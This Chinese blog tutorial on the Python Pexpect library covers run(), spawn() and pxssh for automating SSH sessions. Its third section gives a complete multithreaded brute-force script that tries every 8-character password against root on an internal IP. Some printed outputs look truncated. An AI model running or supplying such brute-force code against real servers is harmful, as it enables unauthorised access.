β

Python 库 Pexpect

Coding~ 11 阅读

使用 Python3 编码时, 不可避免的会调用到系统命令, 一般会使用

os.open
os.system
subprocess.call
commands

常用的库, 如果涉及到登录到其他系统上操作某指令, 以前会撸一个 shell 脚本, 调用 epxect xx.sh 来执行.

Violent Python 书中发现作者用的是 Pexpect 库, 挺有意思的, 分享一下.

1. 简介

Pexpect 是一个用来启动子程序并对其进行自动控制的 Python 模块, 可以和 ssh、ftp、passwd、telnet 等命令行程序进行自动交互。

安装

pip install pexpect

测试一下:

>>> import pexpect
>>> pexpect.run('ls -a')
b'.\t..\ttest.py\r\n'

2. 使用

pexpect 提供了两个类来调用系统命令 run() 和 spawn(), 推荐使用后者.

2.1 run() 函数

如上面的测试例子, run()函数的输出和 os.system() 命令非常相似, 比较高级的是, pexpect.run() 能获得 sys.out 输出内容以及命令的退出状态

>>> output, status = pexpect.run('ls /', withexitstatus=1)
>>> status

>>> output
b'Applications\t\t\tUsers\t\t\t\tdata\t\t\t\tinstaller.failurerequests......\r\n'
>>>
## 不存在的目录
>>> output, status = pexpect.run('ls /DirNotExits', withexitstatus=1)
>>> status

>>> output
b'ls: /DirNotExits: No such file or directory\r\n'

2.2 spawn() 函数

spawn 用来启动子程序, 可以良好的与用户进行命令交互, 写法与 expect shell 命令非常类似.

child = pexpect.spawn() 		开启子线程, 用来执行系统命令
child.expect(expect_words) 		服务器返回的字符串, 支持正则表达式
child.sendline(cmd) 			所登录的 server 执行 cmd, 类似 send 
child.before					上一条命令的标准输出

比如下面的 ssh 登录脚本

import pexpect

PROMPT = ['#', '>>>', '>', '\$']


def login_server(host, user, passwd):
    '''
    模拟 ssh 登录
    :param host: server host
    :param user: 账户名
    :param passwd: 登录密码
    :return: child
    '''

    ## 构造系统命令
    login_cmd = 'ssh %s@%s' % (user, host)
    ## pexpect.spawn() 开启子进程执行
    child = pexpect.spawn(login_cmd)
    ## expect() 是期望的返回
    child.expect('password:')
    ## 输入密码
    ret = child.sendline(passwd)
    ## 登录成功后, 会显示 [$, #, >>>] 等符号
    child.expect('\$')

    ## 在所登录的 server 上执行命令
    child.sendline('df -ah')
    child.expect('\$')
    ## 打印结果
    print(child.before)

login_server('www.google.com', 'log', 'log_password')

通常需要将结果打印到日志中, 在 child = pexpect.spawn(login_cmd) 下添加

fout = open('output.log', 'ab')
child.logfile = fout

cat 一下日志 output.log 的内容:

(pycharm_env) ➜  lab git:(master) ✗ cat output.log

log@www.google.com's password: log_password

Last login: Sat Oct  8 21:45:13 2016 from 10.15.28.118

    _     _  _  _             _
   / \   | |(_)| |__    __ _ | |__    __ _
  / _ \  | || || '_ \  / _` || '_ \  / _` |
 / ___ \ | || || |_) || (_| || |_) || (_| |
/_/   \_\|_||_||_.__/  \__,_||_.__/  \__,_|


Last Generated motd: Mon Apr  9 16:32:33 CST 2012


[log@google-1-1 /home/admin/logs/google]
$df -ah
df -ah
Filesystem            Size  Used Avail Use% Mounted on
/dev/xvda1             60G   37G   21G  64% /
proc                     0     0     0   -  /proc
sysfs                    0     0     0   -  /sys
devpts                   0     0     0   -  /dev/pts
tmpfs                 3.9G     0  3.9G   0% /dev/shm
none                     0     0     0   -  /proc/xen
none                     0     0     0   -  /proc/sys/fs/binfmt_misc

[log@google-1-1 /home/admin/logs/google]
$%  

可以 YY, 运维同学监控这么多服务器的磁盘, 网络, CPU 等状态, 说不定用的类似手段收集信息.

2.2.1 使用 pxssh

按照上面的那个例子来写, 和写 shell 脚本没多大区别, 一点也不 Pythonic! 翻阅文档, 发现果然有一站式服务, spawn 的子类: pxssh() 该类集成了 login, logout, prompt 方法, 不必自己写 pexpect 了. 上面的登录脚本浓缩成一句话:

 pxssh().login(host, user, password)

将 pxssh.py 源码文件的注释抄下来学习, 也是一目了然:


'''Example that runs a few commands on a remote server and prints the result'''
from pexpect import pxssh
import getpass
try:
    s = pxssh.pxssh()
    hostname = raw_input('hostname: ')
    username = raw_input('username: ')
    password = getpass.getpass('password: ')
    s.login(hostname, username, password)
    s.sendline('uptime')   # run a command
    s.prompt()             # match the prompt
    print(s.before)        # print everything before the prompt.
    s.sendline('ls -l')
    s.prompt()
    print(s.before)
    s.sendline('df')
    s.prompt()
    print(s.before)
    s.logout()
except pxssh.ExceptionPxssh as e:
    print("pxssh failed on login.")
    print(e)

3. 举个例子: pxssh 暴力登录

回到最开始的那本书 Violent Python , 作者就是拿 pexpect 遍历字典登录 Linux Server 的. 我们用 pxssh 大概模拟一下.

def ssh_login(host, user, password):
    '''
    模拟 ssh 登录
    :param host: server host
    :param user: 账户名
    :param passwd: 登录密码
    :return: child
    '''
    try:
        pxssh().login(host, user, password)
    except Exception as e:
        pass

def generate_password_dict(password_length):
    '''
    :param length: 密码长度
    :return:
    '''
    # words = 'a..zA..Z0..9'
    words = ''.join([str(i) for i in range(0, 10)] + [chr(i) for i in range(ord('a'), ord('a') + 26)] + \
                    [chr(i) for i in range(ord('A'), ord('A') + 26)])

    passwords = itertools.product(words, repeat=password_length)
    # with open('password.txt', 'w') as f:
    #     for password in passwords:
    #         f.write(''.join(password) + '\n')
    return passwords

结合起来, 简陋代码如下:

以服务器 10.81.72.213 举例, 尝试 crack root 密码.

import itertools
import threading

from pexpect.pxssh import pxssh

PROMPT = ['#', '>>>', '>', '\$']

thread_lock = threading.BoundedSemaphore(5000)

host = '10.81.72.213'
user = 'root'


def ssh_login(host, user, password):
    '''
    模拟 ssh 登录
    :param host: server host
    :param user: 账户名
    :param passwd: 登录密码
    :return: child
    '''
    try:
        pxssh().login(host, user, password)
        print('Password found: ' + password)
    except Exception as e:
        pass
    finally:
        thread_lock.release()


def generate_password_dict(password_length):
    '''
    生成指定长度的密码字典
    :param length: 密码长度
    :return:
    '''
    # words = 'a..zA..Z0..9'
    words = ''.join([str(i) for i in range(0, 10)] + [chr(i) for i in range(ord('a'), ord('a') + 26)] + \
                    [chr(i) for i in range(ord('A'), ord('A') + 26)])

    passwords = itertools.product(words, repeat=password_length)
    # with open('password.txt', 'w') as f:
    #     for password in passwords:
    #         f.write(''.join(password) + '\n')
    return passwords


def violent_example():
    '''
    生成密码, 多线程执行登录
    :return:
    '''
    index = 0
    for p in generate_password_dict(8):
        password = ''.join(p)
        thread_lock.acquire()
        thread = threading.Thread(target=ssh_login, args=(host, user, password))
        thread.start()
        index += 1
        if index % 10 ** 4 == 0:
            print("%s password failed" % index)


if __name__ == '__main__':
    violent_example()

结果输出:

 password failed
0 password failed
0 password failed
0 password failed
0 password failed
0 password failed
0 password failed
0 password failed
0 password failed
00 password failed
00 password failed
00 password failed
00 password failed
00 password failed
00 password failed
00 password failed
00 password failed

将线程开大些, 登录超时调小一点, 有生之年说不定能撞出内部 Linux Server 的密码, lol~

现实世界, 稍微靠谱点的 VPS 托管商, 肯定会拦截掉一直登录失败的 ip, 不给机会遍历字典~~~

4. 参考资料

  1. Pexpect version 4.2
  2. pxssh.py
  3. 探索 Pexpect
  4. Violent Python 中文版
作者:Coding~
原文地址:Python 库 Pexpect, 感谢原作者分享。

发表评论